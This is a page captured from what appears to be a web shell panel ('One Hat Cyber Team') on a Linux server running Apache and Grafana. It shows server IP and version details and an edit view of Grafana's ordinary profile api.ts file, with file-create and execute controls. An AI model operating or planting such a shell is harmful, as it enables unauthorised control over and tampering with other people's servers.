⚝
One Hat Cyber Team
⚝
Your IP:
216.73.217.4
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
grafana
/
public
/
app
/
features
/
profile
/
Edit File: api.ts
import { getBackendSrv } from '@grafana/runtime'; import { Team, UserDTO, UserOrg, UserSession } from '../../types'; import { ChangePasswordFields, ProfileUpdateFields } from './types'; async function changePassword(payload: ChangePasswordFields): Promise<void> { try { await getBackendSrv().put('/api/user/password', payload); } catch (err) { console.error(err); } } function loadUser(): Promise<UserDTO> { return getBackendSrv().get('/api/user'); } function loadTeams(): Promise<Team[]> { return getBackendSrv().get('/api/user/teams'); } function loadOrgs(): Promise<UserOrg[]> { return getBackendSrv().get('/api/user/orgs'); } function loadSessions(): Promise<UserSession[]> { return getBackendSrv().get('/api/user/auth-tokens'); } async function revokeUserSession(tokenId: number): Promise<void> { await getBackendSrv().post('/api/user/revoke-auth-token', { authTokenId: tokenId, }); } async function setUserOrg(org: UserOrg): Promise<void> { await getBackendSrv().post('/api/user/using/' + org.orgId, {}); } async function updateUserProfile(payload: ProfileUpdateFields): Promise<void> { try { await getBackendSrv().put('/api/user', payload); } catch (err) { console.error(err); } } export const api = { changePassword, revokeUserSession, loadUser, loadSessions, loadOrgs, loadTeams, setUserOrg, updateUserProfile, };
Simpan